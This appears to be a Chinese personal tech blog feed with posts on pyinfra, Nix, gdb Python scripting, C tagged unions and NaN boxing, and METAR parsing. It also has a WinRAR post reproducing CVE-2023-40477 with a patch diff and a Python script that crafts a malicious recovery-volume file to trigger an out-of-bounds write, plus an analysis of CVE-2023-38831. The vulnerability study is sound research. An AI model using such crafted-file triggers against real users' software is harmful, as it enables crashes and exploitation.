    (</span></span>
        "</span>@ssh/example.com</span>"</span>,</span></span>
        {</span></span>
            "</span>ssh_user</span>"</span>:</span> "</span>user</span>"</span>,</span></span>
            "</span>ssh_password</span>"</span>:</span> "</span>password</span>"</span>,</span></span>
            "</span>aria2_config</span>"</span>:</span> {</span>"</span>download_dir</span>"</span>:</span> "</span>/home/aria2/Downloads</span>"</span>}</span>,</span></span>
        }</span>,</span></span>
    )</span>,</span></span>
]</span></span></code></pre>总结</h2>
对比 Nix, shell script, ansible，我觉得 pyinfra 在他们之间找到了一个平衡点，学习成本相对较低，代码相对明确，可以借助 Python 生态去实现高级功能。未来还会继续研究和使用这套工具。</p>
Refs</h2>
pyinfra Documentation</a></p>


低成本体验 Nix 之 nix-on-droid
2024-03-23T00:00:00+00:00
对 Linux 感兴趣的用户应该会接触过很多奇怪的 Linux 发行版，例如使用声明式配置文件配置系统的 NixOS，通过一套配置文件就可以搭建起来一个系统。但是 NixOS 的安装和学习曲线都算比较陡峭的，在互联网冲浪的时候，发现有个 nix-on-droid</a> 项目，可以在安卓系统上搭建起一个迷你版本的 Nix 环境，所以就下载体验了一波，并写文记录使用。</p>
安装</h2>
通过 F-Droid 就可以下载项目的 APK 安装包，安装 APK 之后会进行初始化，该项目会自动从网上下载一个初始化的镜像并进行初始化，在下载和安装完之后就会进入系统了。</p>
Nix 语言简易教程</h2>
NixOS 有一个用于声明式配置的模块系统，这个系统会将多个模块组合起来，用来生成完整的系统配置。用于定义配置的语言则是 Nix 语言。可以通过 nix repl</code> 命令进入交互式 shell 进行 Nix 语言的学习。</p>
类型</h3>
Nix 语言使用的是动态类型系统。在 Nix 语言中，有几种基本类型，包括字符串，布尔类型，空指针，整数，浮点数，集合，列表，和其他函数式语言差不多。</p>
"</span>string</span>"</span></span>
''</span></span>
multiple line</span></span>
string</span></span>
''</span></span>
true</span></span>
false</span></span>
null</span></span>
12345</span></span>
1</span>.</span>2345</span></span>
[</span> 1</span> 2</span> 3</span> ]</span></span></code></pre>
这里个人认为比较重要的是集合，集合是由一堆的 name = value</code> 定义组成的。</p>
{</span></span>
  name</span> =</span> value</span>;</span></span>
}</span></span></code></pre>函数</h3>
函数的形式为 pattern: body</code>。pattern</code> 决定了函数接收的参数，并且有 3 种形式。</p>

如果 pattern</code> 只有 1 个标志符，这个函数就可以接收任意参数。例如 arg1: !arg1</code>，函数接收了 1 个名叫 arg1</code> 的参数，并在函数体对其做了取反的操作。</li>
如果 pattern</code> 是一个类似于 { name1, name2, ... }</code> 这样的集合形式，这个函数会接收一个集合，集合中包含着 pattern</code> 中定义的属性，并将值绑定到变量上供函数体使用。例如 { arg1, arg2 }: arg2 + arg1</code> 代表着这个函数接收含有 arg1</code> 和 arg2</code> 定义的集合作为参数。函数语句申明中可以出现类似 ?</code>，代表着默认参数。例如 { x ? "foo" }: x</code>。函数还可以使用 {arg1, arg2, ...}</code> 接收有多于定义的集合。</li>
pattern</code> 中还可以使用 @</code> 符将集合里的值进行关联。例如 { pkgs, ... } @ attrs</code>，后面的 @attrs</code> 意味着将集合中的定义打包关联起来，在函数体中可以通过类似 attrs.pkgs</code> 语句来使用 pkgs</code> 参数。</li>
</ul>
下面是 nix-on-droid 项目演示用的配置。{ pkgs, ... }:</code> 是 nix 函数的参数申明，代表着函数需要一个带有 pkgs</code> 定义的集合。pkgs</code> 这个定义一般指向的是 nixpkgs。这个函数返回了一组定义，在下面的代码中，则是定义了 environment.packages</code> 和 system.stateVersion</code>。</p>
{</span> pkgs</span>,</span> ...</span> }</span>:</span></span>
</span>
{</span></span>
  environment</span>.</span>packages</span> =</span> [</span> pkgs</span>.</span>vim</span> ]</span>;</span></span>
  system</span>.</span>stateVersion</span> =</span> "</span>23.11</span>"</span>;</span></span>
}</span></span></code></pre>if else</h3>
条件判断语句和其他的函数式语言类似。例如 if e1 then e2 else e3</code> 代表着如果 e1</code> 条件满足了就返回 e2</code>，否则返回 e3</code>。</p>
let</h3>
let 语句则是可以声明局部变量，供后续使用。例如 let x = "foo"; y = "bar"; in x + y</code> 声明了 x</code>, y</code> 变量，在 in</code> 语句中就可以使用这两个变量。</p>
with</h3>
with</code> 语句可以将集合里的函数和定义放到当前的语句中，类似于简写了内容。例如 with builtins; head [ 1 2 3 ]</code>。with builtins;</code> 语句将 builtins</code> 集合里的内容引进到了后面的 head [ 1 2 3 ]</code> 语句中。等同于 builtins.head [ 1 2 3 ]</code>。</p>
import</h3>
有时候单个配置文件里存放了太多的定义，不好进行管理，这时候可以配置存放在不同的文件里，通过 imports = [ ... ];</code> 语句进行导入。在 NixOS 的文档里演示了使用多个文件生成配置，将 KDE 的配置单独放到一个文件里。</p>
{</span> config</span>,</span> pkgs</span>,</span> ...</span> }</span>:</span></span>
</span>
{</span></span>
  imports</span> =</span> [</span> ./kde.nix</span> ]</span>;</span></span>
  .</span>.</span>.</span></span>
}</span></span></code></pre>其他</h3>
上面是一些常见的概念，NixOS 还可以做到修改包的默认配置，添加自定义的包等功能，这些功能请查询 Refs</a> 中提到的官方文档。</p>
实战</h2>
使用 nix-shell 来创建开发环境</h3>
我平时用 Python 来写一些脚本时，需要一个开发环境。这时候就可以通过 nix-shell 命令和相关配置来配置所需要的软件和包。</p>
在下面的例子中，我通过调用 python3.withPackages</code> 可以将 Python 解释器和对应的包打包在一起。通过调用 pkgs.mkShell</code> 函数，可以安装上前面打包的 Python 环境和系统软件("black", "mypy")。</p>
{</span> pkgs</span> ?</span> import</span> <nixpkgs></span> {</span>}</span> }</span>:</span></span>
with</span> pkgs</span>;</span></span>
let</span></span>
  pythonEnv</span> =</span> python3</span>.</span>withPackages</span> (</span>ps</span>:</span> [</span></span>
    ps</span>.</span>ipython</span></span>
    ps</span>.</span>numpy</span></span>
    ps</span>.</span>requests</span></span>
    ps</span>.</span>beautifulsoup4</span></span>
    ps</span>.</span>python-lsp-server</span></span>
    ps</span>.</span>z3</span></span>
  ]</span>)</span>;</span></span>
in</span> mkShell</span> {</span></span>
  packages</span> =</span> [</span></span>
    pythonEnv</span></span>
    black</span></span>
    mypy</span></span>
  ]</span>;</span></span>
}</span></span></code></pre>
将上面的内容保存到 "shell.nix" 文件后，即可通过 "nix-shell" 命令即可搭建一个全新的开发环境。</p>
使用 Nix 构建和打包</h3>
下面的代码是打包 gnu hello 程序的代码，可以看到是通过调用 stdenv.mkDerivation</code> 函数描述程序的构建流程，在传递给函数的集合中，调用了 fetchzip</code> 函数下载代码。</p>
{</span></span>
  lib</span>,</span></span>
  stdenv</span>,</span></span>
  fetchzip</span>,</span></span>
}</span>:</span></span>
</span>
stdenv</span>.</span>mkDerivation</span> {</span></span>
  pname</span> =</span> "</span>hello</span>"</span>;</span></span>
  version</span> =</span> "</span>2.12.1</span>"</span>;</span></span>
</span>
  src</span> =</span> fetchzip</span> {</span></span>
    url</span> =</span> "</span>https://ftp.gnu.org/gnu/hello/hello-2.12.1.tar.gz</span>"</span>;</span></span>
    sha256</span> =</span> "</span>0xw6cr5jgi1ir13q6apvrivwmmpr5j8vbymp0x6ll0kcv6366hnn</span>"</span>;</span></span>
  }</span>;</span></span>
}</span></span></code></pre>
如果想要打包更复杂的软件，可以参考 NixOS/nixpkgs</a> repo 里的文件，还有 nix.dev 里的打包教程</a>。</p>
TODO: 补充几个现实中的例子。</p>
home-manager</h3>
home-manager 可以用来管理用户态的程序和配置。配置选项请参考 home-manager 的文档，可定义的内容很多。下面放一个我自己的 home-manager 配置，主要是安装了常用的软件，配置了 zsh, helix editor, ssh, git。</p>
{</span> pkgs</span>,</span> ...</span> }</span>:</span></span>
{</span></span>
  home</span>.</span>packages</span> =</span> with</span> pkgs</span>;</span> [</span></span>
    xplr</span></span>
    ripgrep</span></span>
    fd</span></span>
    nmap</span></span>
    htop</span></span>
    just</span></span>
  ]</span>;</span></span>
  programs</span>.</span>zsh</span> =</span> {</span></span>
    enable</span> =</span> true</span>;</span></span>
    syntaxHighlighting</span>.</span>enable</span> =</span> true</span>;</span></span>
    sessionVariables</span> =</span> {</span></span>
      PS1</span> =</span> "</span>%(?..%F{red}%? %f)%~ %F{cyan}>%f </span>"</span>;</span></span>
    }</span>;</span></span>
    shellAliases</span> =</span> {</span></span>
      ll</span> =</span> "</span>ls -la</span>"</span>;</span></span>
      "</span>.j</span>"</span> =</span> "</span>just</span>"</span>;</span></span>
    }</span>;</span></span>
    enableAutosuggestions</span> =</span> true</span>;</span></span>
    #</span> autosuggestion.enable = true;</span></span>
  }</span>;</span></span>
  programs</span>.</span>helix</span> =</span> {</span></span>
    enable</span> =</span> true</span>;</span></span>
    settings</span> =</span> {</span></span>
      theme</span> =</span> "</span>base16_terminal</span>"</span>;</span></span>
      keys</span>.</span>normal</span> =</span> {</span></span>
        "</span>^</span>"</span> =</span> "</span>goto_line_start</span>"</span>;</span></span>
        "</span>$</span>"</span> =</span> "</span>goto_line_end</span>"</span>;</span></span>
      }</span>;</span></span>
    }</span>;</span></span>
  }</span>;</span></span>
  programs</span>.</span>ssh</span> =</span> {</span></span>
    enable</span> =</span> true</span>;</span></span>
    package</span> =</span> pkgs</span>.</span>openssh</span>;</span></span>
    matchBlocks</span> =</span> {</span></span>
      lpi4</span> =</span> {</span></span>
        hostname</span> =</span> "</span>1.1.1.1</span>"</span>;</span></span>
        user</span> =</span> "</span>user</span>"</span>;</span></span>
      }</span>;</span></span>
    }</span>;</span></span>
  }</span>;</span></span>
  programs</span>.</span>git</span> =</span> {</span></span>
    enable</span> =</span> true</span>;</span></span>
    userName</span> =</span> "</span>user</span>"</span>;</span></span>
    userEmail</span> =</span> "</span>user@example.com</span>"</span>;</span></span>
  }</span>;</span></span>
  home</span>.</span>stateVersion</span> =</span> "</span>23.11</span>"</span>;</span></span>
}</span></span></code></pre>其他</h2>
关于 NixOS 的相关包和配置可以到 https://search.nixos.org/</a> 进行搜索。进阶的教程可以看 Nix Pills</a> 和 Welcome to nix.dev</a> 还有 NixOS Wiki</a>。</p>
Refs</h2>

Nix Language</a></li>
NixOS Manual</a></li>
Development environment with nix-shell</a></li>
</ul>


使用 Python 来自动化 gdb 调试
2024-02-10T00:00:00+00:00
在工作中碰到了很多地方只能用 gdb 进行调试，并且得进行很多冗余的操作。经过资料查询后发现，可以使用 Python 对 gdb 进行 api 调用，但是网上相关文档比较的少，所以本文将记录一些相关操作。</p>
相关 API 介绍</h2>
基本操作</h3>
gdb.execute (command [, from_tty [, to_string]])</code> 执行 gdb 命令。</p>
gdb.parse_and_eval (expression)</code> 解析一个表达式，并返回一个 gdb.Value</code> 值。</p>
Breakpoint</h3>
通过类似下面的 Python 代码即可实现一个自定义的断点，并可以通过继承的方法进行相应的操作。例如下面的代码中可以在 stop</code> 函数中加入断点到达时执行一些操作，最后通过初始化类实现在 func_name</code> 下断点。</p>
class</span> MyBreakpoint</span>(</span>gdb</span>.</span>Breakpoint</span>)</span>:</span></span>
    def</span> stop</span>(</span>self</span>)</span>:</span></span>
        pass</span></span>
MyBreakpoint</span>(</span>"</span>func_name</span>"</span>)</span></span></code></pre>Inferiors</h3>
在 gdb 下运行的程序被称为 inferiors</code>。</p>
gdb.selected_inferior ()</code> 返回当前 inferior</code>。</p>
Inferior.read_memory (address, length)</code> 从 address 地址处读取 length 长度的字节，函数的返回类型为 memoryview。</p>
Inferior.write_memory (address, buffer [, length])</code> 往 address 地址写入 buffer 的内容。</p>
Inferior.search_memory (address, length, pattern)</code> 在 address 处搜索 pattern 的内容。</p>
实战</h2>
在函数处读取某个结构体的相关值</h3>
我手里拿到了一份编译后的 yara 规则库，希望能知道这份 yara 规则库里包含了哪些规则，但是这个规则库没法被自己编译的 yara 加载，于是通过代码找到了在执行规则库时的遍历规则语句，并通过 IDA 在 ELF 可执行文件中找到了相似代码。</p>
YR_API </span>int</span> yr_scanner_scan_mem_blocks</span>(</span></span>
    YR_SCANNER</span>*</span> scanner</span>,</span></span>
    YR_MEMORY_BLOCK_ITERATOR</span>*</span> iterator</span>)</span></span>
{</span></span>
  //</span> ...</span></span>
  for</span> (</span>i </span>=</span> 0</span>,</span> rule </span>=</span> rules</span>-></span>rules_table</span>;</span> !</span>RULE_IS_NULL</span>(</span>rule</span>)</span>;</span> i</span>++</span>,</span> rule</span>++</span>)</span></span>
  {</span></span>
    //</span> ...</span></span>
  }</span></span>
}</span></span></code></pre>
IDA 下看到的相关规则载入语句。</p>
.text:0000000000050B18                 mov     rax, [rsp+888h+var_860]</span></span>
.text:0000000000050B1D                 xor     ebx, ebx</span></span>
.text:0000000000050B1F                 mov     r14d, 1Ch</span></span>
.text:0000000000050B25                 mov     rbp, [rax+8]</span></span>
.text:0000000000050B29                 mov     eax, [rbp+0]</span></span>
.text:0000000000050B2C                 test    al, 4</span></span>
.text:0000000000050B2E                 jnz     loc_50E29</span></span>
.text:0000000000050B34                 nop     dword ptr [rax+00h]</span></span></code></pre>
结合反编译结果，可以确认 YR_RULE</code> 结构体地址被载入了 $rbp 寄存器中，结合 yara 代码，编写出下面语句提取规则名字。下面的 Python 代码是在读取 rbp 寄存器的值，并且计算出每个 YR_RULE</code> 的地址，并读取结构体中的指针，从而获取成员的值。</p>
需要注意的是，下断点位置的代码在断点到达时还未被执行，所以我们需要在 0x50B25 的后一条语句 0x50B29 处下断点，这样 rbp 寄存器中才会存入相应的值。</p>
import</span> gdb</span></span>
</span>
def</span> get_ptr_from_addr</span>(</span>addr</span>,</span> infer</span>)</span>:</span></span>
    mem</span> =</span> infer</span>.</span>read_memory</span>(</span>addr</span>,</span> 8</span>)</span></span>
    return</span> int</span>.</span>from_bytes</span>(</span>bytes</span>(</span>mem</span>)</span>,</span> "</span>little</span>"</span>)</span></span>
</span>
class</span> YRSCANBP</span>(</span>gdb</span>.</span>Breakpoint</span>)</span>:</span></span>
    #</span> yr_scanner_scan_mem_blocks</span></span>
    def</span> stop</span>(</span>self</span>)</span>:</span></span>
        rules</span> =</span> gdb</span>.</span>parse_and_eval</span>(</span>"</span>$rbp</span>"</span>)</span></span>
        inferior</span> =</span> gdb</span>.</span>selected_inferior</span>(</span>)</span></span>
        for</span> i</span> in</span> range</span>(</span>466</span>)</span>:</span></span>
            rule_addr</span> =</span> rules</span> +</span> i</span> *</span> 6</span> *</span> 8</span></span>
            name</span> =</span> rule_addr</span> +</span> 8</span></span>
            meta</span> =</span> rule_addr</span> +</span> 24</span></span>
            nptr</span> =</span> get_ptr_from_addr</span>(</span>name</span>,</span> inferior</span>)</span></span>
            s</span> =</span> inferior</span>.</span>read_memory</span>(</span>nptr</span>,</span> 32</span>)</span></span>
            mptr</span> =</span> get_ptr_from_addr</span>(</span>meta</span>,</span> inferior</span>)</span></span>
            k</span> =</span> inferior</span>.</span>read_memory</span>(</span>get_ptr_from_addr</span>(</span>mptr</span>,</span> inferior</span>)</span>,</span> 32</span>)</span></span>
            v</span> =</span> inferior</span>.</span>read_memory</span>(</span>get_ptr_from_addr</span>(</span>mptr</span> +</span> 8</span>,</span> inferior</span>)</span>,</span> 32</span>)</span></span>
            print</span>(</span>[</span>bytes</span>(</span>i</span>)</span>.</span>split</span>(</span>b</span>"</span>\x00</span>"</span>)</span>[</span>0</span>]</span> for</span> i</span> in</span> [</span>s</span>,</span> k</span>,</span> v</span>]</span>]</span>)</span></span>
</span>
YRSCANBP</span>(</span>"</span>*(yr_scanner_scan_mem_blocks-0x50960+0x50B29)</span>"</span>)</span></span></code></pre>实现类似 gdb-peda 一样的信息输出</h3>
可以通过下面的语句设置 hook，实现在每一次到达断点时候执行 Python 代码。然后在 Python 代码中可以实现输出寄存器的值，输出内存中内容，输出指针指向等内容。</p>
define hook-stop</span></span>
    python run()</span></span>
end</span></span></code></pre>
本人实现的脚本比较长，而且代码质量不太行，不过我还是上传到了这里</a>，可以供读者参考。</p>
总结</h2>
gdb + python 这个组合能发挥出很大的威力，能做到自动化调试，减少逆向工程负担。更多的操作可以查看 gdb 的官方文档。</p>
Refs</h2>

Python API</a></li>
Manipulating breakpoints using Python</a></li>
</ul>


类似 Rust 中的 enum (Sum type) 在 C 语言中的实现
2023-12-05T00:00:00+00:00
在 C 语言中，没有类似 ML 系语言或者 Rust 那样的 enum 实现。所以本文用于记录 C 中那些用于实现这个特性的相关方法，例如 tagged union, tagged pointer, NaN boxing。</p>
在 Rust 中的表示</h2>
例如在之前的博客中，我使用了下面的代码来表示词法分析中分析的 Token。</p>
pub</span> enum</span> Token</span> {</span></span>
    Number</span>(</span>i32</span>)</span>,</span></span>
    Operator</span>(</span>u8</span>)</span></span>
}</span></span></code></pre>
在 Rust 语言的底层的实现与下面的 Tagged union 类似。</p>
Tagged union</h2>
这个应该是最直接的表示方法，通过 tag</code> 成员表示对象类型，并且通过 union 节省数据的占用空间。</p>
struct</span> TaggedUnion </span>{</span></span>
    uint32_t</span> tag</span>;</span></span>
    union</span> {</span></span>
        int</span> number</span>;</span></span>
        char</span> operator</span>;</span></span>
    }</span>;</span></span>
}</span>;</span></span></code></pre>Tagged pointer</h2>
由于大部分系统分配的内存通常是以 8 字节对齐的，所以指针中存放的值中，即低 3 位(bit)为 0。这种情况下就可以通过低 3 位存储指针相关信息，可以表示 2 ^ 3 = 8 种不同的类型。</p>
union</span> TaggedPointer </span>{</span></span>
    uint64_t</span> as_uint64</span>;</span></span>
    void</span> *</span>as_pointer</span>;</span></span>
}</span>;</span></span></code></pre>
然后通过相关的宏来实现从 tagged pointer 中读取和存储数值。</p>
#</span>define</span> IS_INT</span>(</span>v</span>)</span> (</span>v</span>.</span>as_uint64</span> &</span> 0x</span>1</span>)</span></span>
#</span>define</span> GET_AS_INT</span>(</span>v</span>)</span> (</span>(</span>int32_t</span>)</span>(</span>v</span>.</span>as_uint64</span> >></span> 1</span>)</span>)</span></span>
#</span>define</span> MAKE_INT</span>(</span>i</span>)</span> (</span>(</span>(</span>uint64_t</span>)</span>(</span>i</span>)</span> <<</span> 1</span>)</span> |</span> 0x</span>1</span>)</span></span></code></pre>NaN boxing</h2>
在 IEEE 754 标准中，通过将指数位全部置为 1，并且将最少 1 个分数位置为 1 来表示 NaN，这种情况下 NaN 的值中，剩下 51 位为空，可以用来表示其他的值。可以通过指数位以及分数位前 2 位数值，将 NaN 与 double 数值，还有别的类型的数值进行区分开来。由于大部分系统地址空间只有 48 位，所以剩余的空间也足够存储一个内存地址。</p>
在下面的例子中，我们通过自定义的 NaN 值将 double 数值和 NaN boxing 的数值进行区分。</p>
union</span> NaNBoxing </span>{</span></span>
    uint64_t</span> as_uint64</span>;</span></span>
    double</span> as_double</span>;</span></span>
}</span>;</span></span>
</span>
//</span> NaN:</span></span>
//</span> 0 11111111111 1000000000000000000000000000000000000000000000000000</span></span>
#</span>define</span> NANISH_MASK</span> 0x</span>7ffc000000000000</span></span>
//</span> 0 11111111111 1100000000000000000000000000000000000000000000000000</span></span>
#</span>define</span> IS_DOUBLE</span>(</span>v</span>)</span> (</span>(</span>v</span>.</span>as_uint64</span> &</span> NANISH</span>)</span> !=</span> NANISH</span>)</span></span>
#</span>define</span> GET_AS_DOUBLE</span>(</span>v</span>)</span> (</span>v</span>.</span>as_double</span>)</span></span></code></pre>
在使用 IS_DOUBLE</code> 时，如果传入的值为 NaN 的话，与 NANISH_MASK 的值不相等。而传入 double 值时，由于 double 值中指数位必有 1 位为 0，所以运算后与 NANISH_MASK 不相等。</p>
几种方法的对比</h2>
对比上面的几种表示方法，可以发现 tagged union 表示直接，但是在空间利用率上不如后面 2 种方法，会多出来一个 uint32_t 的内存占用。而 tagged pointer 的类型的转换稍微比 NaN boxing 麻烦一些，需要多做一些位运算。这几种方法都可以在现有的项目中找到使用痕迹。</p>
Refs</h2>

Modern C++真的很烂——std::variant</a></li>
Rust Binary Analysis, Feature by Feature</a></li>
NaN Boxing</a></li>
NaN boxing or how to make the world dynamic</a></li>
Storing data in pointers</a></li>
</ul>


WinRAR 最近的 2 个漏洞分析/复现
2023-09-30T00:00:00+00:00
其实这个漏洞的公告一出来我就开始进行分析了，只是因为空闲时间的利用非常的差，所以分析的很慢，最多就确认了漏洞修复地点。后来大佬们详细的分析就发出来了，所以这篇文章只能算是复现文章了...</p>
CVE-2023-40477</h2>
从下面的官方公告中可以知道代码修复的地方是在 RAR4 恢复卷的处理代码中。</p>

Critical Bug: CVE-2023-40477. The vulnerability allows remote attackers to execute arbitrary code on affected installations. User interaction is required to exploit this vulnerability. This is fixed in the RAR4 recovery volume processing code.</p>
</blockquote>
ZDI 的公告也是一样的说法。</p>

The specific flaw exists within the processing of recovery volumes. The issue results from the lack of proper validation of user-supplied data, which can result in a memory access past the end of an allocated buffer. An attacker can leverage this vulnerability to execute code in the context of the current process.</p>
</blockquote>
WinRAR 的 unrar 代码是可以下载的，所以通过 GitHub 上的代码仓库</a> 可以下载和对比不同版本的代码，在 commit 2464dd1c376585f0e4ce51157d50aea358a50bbc</a> 可以看到下面的修改。加强了对数据的校验，防止整数溢出导致越界写入。</p>
diff --git a/recvol3.cpp b/recvol3.cpp</span></span>
index ecf6dd3..0138d0f 100644</span></span>
---</span> a/recvol3.cpp</span></span>
+++</span> b/recvol3.cpp</span></span>
@@</span> -226,7 +226,7</span> @@</span> bool RecVolumes3::Restore(CommandData *Cmd,const wchar *Name,bool Silent)</span></span>
       if (WrongParam)</span></span>
         continue;</span></span>
     }</span></span>
-</span>    if (P[1]+P[2]>255)</span></span>
+</span>    if (P[0]<=0 || P[1]<=0 || P[2]<=0 || P[1]+P[2]>255 || P[0]+P[2]-1>255)</span></span>
       continue;</span></span>
     if (RecVolNumber!=0 && RecVolNumber!=P[1] || FileNumber!=0 && FileNumber!=P[2])</span></span>
     {</span></span>
@@</span> -238,7 +238,14</span> @@</span> bool RecVolumes3::Restore(CommandData *Cmd,const wchar *Name,bool Silent)</span></span>
     wcsncpyz(PrevName,CurName,ASIZE(PrevName));</span></span>
     File *NewFile=new File;</span></span>
     NewFile->TOpen(CurName);</span></span>
-</span>    SrcFile[FileNumber+P[0]-1]=NewFile;</span></span>
+</span></span>
+</span>    // This check is redundant taking into account P[I]>255 and P[0]+P[2]-1>255</span></span>
+</span>    // checks above. Still we keep it here for better clarity and security.</span></span>
+</span>    int SrcPos=FileNumber+P[0]-1;</span></span>
+</span>    if (SrcPos<0 || SrcPos>=ASIZE(SrcFile))</span></span>
+</span>      continue;</span></span>
+</span>    SrcFile[SrcPos]=NewFile;</span></span>
+</span></span>
     FoundRecVolumes++;</span></span>
 </span></span>
     if (RecFileSize==0)</span></span></code></pre>
使用 Bindiff 找到类似特征，可以在 6.22.0 简体中文版本的 unrar+0x1BC03 (14001BC03) 地址找到修改。</p>
查看源代码可以确认函数从恢复文件中的文件末尾中获取文件分卷数，并存放在 P</code> 数组里。经过旧版本的溢出检查后，通过 P</code> 数组的运算，往 RecVolumes3 RecVol</code> 对象的私有成员 File *SrcFile[256]</code> 里写入一个 File *</code> 指针。而数组写入地址的索引是 P[2]+P[0]-1</code>。</p>
通过创建 RAR 压缩包，调整切分为分卷文本框的值来产生分卷，在“高级 - 分卷”里启用 1 个恢复卷，然后开启脚本修改 RAR 的 .rev 文件，删除一个分卷，通过 unrar t test_delete.part01.rar</code> 即可触发漏洞，实现越界写入一个函数指针。这里我对 wildptr.io 的脚本进行小幅修改，让脚本将 P 数组的内容设置为 [0xf0, 0x00, 0xf0]</code>。</p>
import</span> zlib</span></span>
import</span> struct</span></span>
</span>
def</span> calculate_crc32</span>(</span>data</span>)</span>:</span></span>
	crc_value</span> =</span> zlib</span>.</span>crc32</span>(</span>data</span>)</span></span>
	return</span> struct</span>.</span>pack</span>(</span>"</span><I</span>"</span>,</span> crc_value</span> &</span> 0x</span>FFFFFFFF</span>)</span></span>
</span>
with</span> open</span>(</span>"</span>test_delete.part01.rev.origin</span>"</span>,</span> "</span>rb</span>"</span>)</span> as</span> f</span>:</span></span>
    data</span> =</span> f</span>.</span>read</span>(</span>)</span></span>
    p</span> =</span> bytes</span>(</span>[</span>0x</span>f0</span>,</span> 0x</span>00</span>,</span> 0x</span>f0</span>]</span>)</span></span>
    new_data</span> =</span> data</span>[</span>:</span>-</span>7</span>]</span> +</span> p</span> +</span> calculate_crc32</span>(</span>data</span>[</span>:</span>-</span>7</span>]</span> +</span> p</span>)</span></span>
    with</span> open</span>(</span>"</span>test_delete.part01.rev</span>"</span>,</span> "</span>wb</span>"</span>)</span> as</span> fw</span>:</span></span>
        fw</span>.</span>write</span>(</span>new_data</span>)</span></span>
</span></code></pre>
在调试器中可以看到数组索引(rax 寄存器)已经越界到 0x1e2(482)，超过了 256，但是这样越界写并不能造成程序崩溃或者任意代码执行，因为写入的地址是往高地址方向越界，在调试器里看高地址空间都没什么重要数据...</p>
</p>
后来我阅读了别人的分析文章，发现如果要造成崩溃，或覆盖返回地址的效果，可以用旧风格文件名中填充 P</code> 数组，而不是从恢复文件中获得 P</code> 数组的值。由于代码逻辑的问题，可以从文件名中读取出负数，从而实现覆盖返回地址。不过即使覆盖了返回地址，也只能造成程序崩溃，应该是没法造成代码执行。</p>
    if</span> (</span>NewStyle</span>)</span></span>
    {</span></span>
      /*</span> ... </span>*/</span> </span></span>
    }</span></span>
    else</span></span>
    {</span></span>
      wchar </span>*</span>Dot</span>=</span>GetExt</span>(</span>CurName</span>)</span>;</span></span>
      if</span> (</span>Dot</span>==</span>NULL</span>)</span></span>
        continue</span>;</span></span>
      bool</span> WrongParam</span>=</span>false</span>;</span></span>
      for</span> (</span>size_t</span> I</span>=</span>0</span>;</span>I</span><</span>ASIZE</span>(</span>P</span>)</span>;</span>I</span>++</span>)</span></span>
      {</span></span>
        do</span></span>
        {</span></span>
          Dot</span>--</span>;</span></span>
        }</span> while</span> (</span>IsDigit</span>(</span>*</span>Dot</span>)</span> &&</span> Dot</span>>=</span>CurName</span>+</span>BaseNamePartLength</span>)</span>;</span></span>
        P</span>[</span>I</span>]</span>=</span>atoiw</span>(</span>Dot</span>+</span>1</span>)</span>;</span></span>
        if</span> (</span>P</span>[</span>I</span>]</span>==</span>0</span> ||</span> P</span>[</span>I</span>]</span>></span>255</span>)</span></span>
          WrongParam</span>=</span>true</span>;</span></span>
      }</span></span>
      if</span> (</span>WrongParam</span>)</span></span>
        continue</span>;</span></span>
    }</span></span></code></pre>CVE-2023-38831</h2>
这个漏洞应该利用价值比较高，并且网上分析也很多，所以我就简单分析下。下面的代码是判断两文件名字是否相等函数的部分代码，可以看到在用 wcsncmp</code> 比较文件文件名时候，只用到了第一个文件名字的长度(变量 a1_len</code>)，而没有用到第二个文件名字的长度，而后面半部分代码则是检查文件名字的结尾是否为 '' '/' 或者 0 字节。这就会导致如果压缩文件中存在相同名字的文件夹和文件时，例如 "test.txt/" 文件夹 "test.txt" 文件，两者的内容都会被释放到临时目录。</p>
    v7 </span>=</span> -</span>1i64</span>;</span></span>
    a1_len </span>=</span> -</span>1i64</span>;</span></span>
    do</span></span>
      ++</span>a1_len</span>;</span></span>
    while</span> (</span> a1</span>[</span>a1_len</span>]</span> )</span>;</span></span>
    if</span> (</span> (</span>unsigned</span> int</span>)</span>(</span>unsigned</span> __int16</span>)</span>a3 </span>-</span> 2</span> ></span> 2</span> )</span></span>
    {</span></span>
      if</span> (</span> (</span>a3 </span>&</span> 0x</span>80000000</span>)</span> ==</span> 0</span> )</span></span>
        neq </span>=</span> sub_1400AF168</span>(</span>a1</span>,</span> a2</span>,</span> a1_len</span>)</span>;</span></span>
      else</span></span>
        neq </span>=</span> wcsncmp</span>(</span>a1</span>,</span> a2</span>,</span> a1_len</span>)</span>;</span></span>
      if</span> (</span> !</span>neq </span>)</span></span>
      {</span></span>
        v10 </span>=</span> a2</span>[</span>a1_len</span>]</span>;</span></span>
        if</span> (</span> v10 </span>==</span> '</span>\\</span>'</span> ||</span> v10 </span>==</span> '</span>/</span>'</span> ||</span> !</span>v10 </span>)</span></span>
          return</span> 1</span>;</span></span>
      }</span></span>
      if</span> (</span> v3 </span>==</span> 1</span> )</span></span>
        return</span> 0</span>;</span></span>
    }</span></span></code></pre>
配合上 ShellExecuteExW</code> 对文件的处理，就造成了点击一个文件，让另一个文件被调用执行的情况...详细分析请看 Refs</a></p>
总结</h2>
CVE-2023-40477 的漏洞应该是可以被避免的，存储数组索引的数据，应该使用 unsigned 类型，并且在通过不可信任的数据，访问数组时候需要检查边界。而 CVE-2023-38831 则是碰上了一个逻辑问题，在比较字符串时候没有比较长度。</p>
Refs</h2>

WinRAR 6.23 final released</a></li>
RARLAB WinRAR Recovery Volume Improper Validation of Array Index Remote Code Execution Vulnerability</a></li>
CVE-2023-40477 vulnerability</a></li>
“Game of Rars” – Exploring a New Remote Code Execution Vulnerability in WinRAR with Proof-of-Concept (CVE-2023-40477)</a></li>
CVE-2023-40477 Root Cause Analysis</a></li>
CVE-2023-38831 WinRAR 漏洞分析</a></li>
Winrar代码执行漏洞(CVE-2023-38831)的原理分析</a></li>
</ul>


使用 Parser combinator 解析 METAR 报文
2023-05-21T00:00:00+00:00
因为我是骑自行车上下班的，对风向和风速很敏感，然后我住的离机场比较近，于是我想通过机场的天气状况判断下我的通勤是否容易。在翻阅资料后，发现机场的天气是使用 METAR 报文进行发送的，所以我将尝试用 Parser combinator 对报文进行解析，来获得天气状况。</p>
本文采用的是 Python 进行编程，因为 Python 明显会比 Haskell 和 Rust 简单易读，Python 的缺点就是 lambda 函数很菜。</p>

在写文章的时候发现我写的 parser 解析的信息不够完全，所以这个 parser 只供学习使用，请勿用于生产环境！</p>
</blockquote>
概念介绍</h2>
下面介绍转载自 Wikipedia。简单来说，parser combinator 就是一个高阶函数，接受多个 parser 作为输入，并将组合而成的新的 parser 作为输出。而 parser 则是接受一个字符串作为参数，然后将解析成功或失败的结果作为输出的函数。</p>

